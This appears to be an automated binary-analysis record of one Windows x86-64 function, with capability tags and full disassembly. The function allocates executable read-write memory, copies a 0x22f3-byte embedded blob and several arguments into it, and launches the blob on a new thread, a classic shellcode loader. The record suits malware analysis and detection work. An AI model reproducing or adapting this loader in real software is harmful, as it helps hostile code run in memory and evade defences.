Function at 0x180027930
Capabilities:
Allocate or change rwx memory
Create thread
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
mov qword [rsp + 8], rcx
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x40
mov rbp, r9
mov r15, r8
xor esi, esi
lea r9d, [rsi + 0x40]
mov r8d, 0x3000
xor ecx, ecx
mov rdi, rdx
xor ebx, ebx
xor r14d, r14d
xor r13d, r13d
xor r12d, r12d
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0x38], rax
test rax, rax
je 0x180027ba5
mov rdx, qword [rsp + 0x70]
mov r8, rdi
mov rcx, rax
call fcn.18003b330
test r15, r15
je 0x1800279de
or rcx, 0xffffffffffffffff
xor eax, eax
mov rdi, r15
repne scasw ax, word [rdi]
lea r9d, [rsi + 0x40]
mov r8d, 0x3000
not rcx
lea rdi, [rcx + rcx]
xor ecx, ecx
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r14, rax
test rax, rax
je 0x180027b21
mov r8, rdi
mov rdx, r15
mov rcx, rax
call fcn.18003b330
test rbp, rbp
je 0x180027a25
or rcx, 0xffffffffffffffff
xor eax, eax
mov rdi, rbp
repne scasb al, byte [rdi]
lea r9d, [rax + 0x40]
mov r8d, 0x3000
not rcx
mov rdx, rcx
lea rdi, [rcx - 1]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r13, rax
test rax, rax
je 0x180027b21
lea r8, [rdi + 1]
mov rdx, rbp
mov rcx, rax
call fcn.18003b330
mov rbp, qword [rsp + 0x90]
test rbp, rbp
je 0x180027a74
or rcx, 0xffffffffffffffff
xor eax, eax
mov rdi, rbp
repne scasw ax, word [rdi]
lea r9d, [rax + 0x40]
mov r8d, 0x3000
not rcx
lea rdi, [rcx + rcx]
xor ecx, ecx
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r12, rax
test rax, rax
je 0x180027b21
mov r8, rdi
mov rdx, rbp
mov rcx, rax
call fcn.18003b330
mov edx, 0x20
xor ecx, ecx
mov r8d, 0x3000
lea r9d, [rdx + 0x20]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdi, qword [rsp + 0x38]
mov rbx, rax
test rax, rax
je 0x180027b26
xor ecx, ecx
mov edx, 0x22f3
mov r8d, 0x3000
lea r9d, [rcx + 0x40]
mov qword [rax], rdi
mov qword [rax + 8], r14
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], r12
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rsi, rax
test rax, rax
je 0x180027b26
lea rdx, [0x180082ed0]
mov r8d, 0x22f3
mov rcx, rax
call fcn.18003b330
lea rax, [rsp + 0x30]
mov r9, rbx
mov qword [rsp + 0x28], rax
mov r8, rsi
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_CreateThread]
test rax, rax
je 0x180027b26
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
jmp 0x180027ba7
mov rdi, qword [rsp + 0x38]
xor edx, edx
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
test r14, r14
je 0x180027b4d
xor edx, edx
mov r8d, 0x8000
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFree]
test r13, r13
je 0x180027b63
xor edx, edx
mov r8d, 0x8000
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_VirtualFree]
test r12, r12
je 0x180027b79
xor edx, edx
mov r8d, 0x8000
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_VirtualFree]
test rbx, rbx
je 0x180027b8f
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
test rsi, rsi
je 0x180027ba5
xor edx, edx
mov r8d, 0x8000
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
lea r11, [rsp + 0x40]
mov rbx, qword [r11 + 0x38]
mov rbp, qword [r11 + 0x40]
mov rsi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret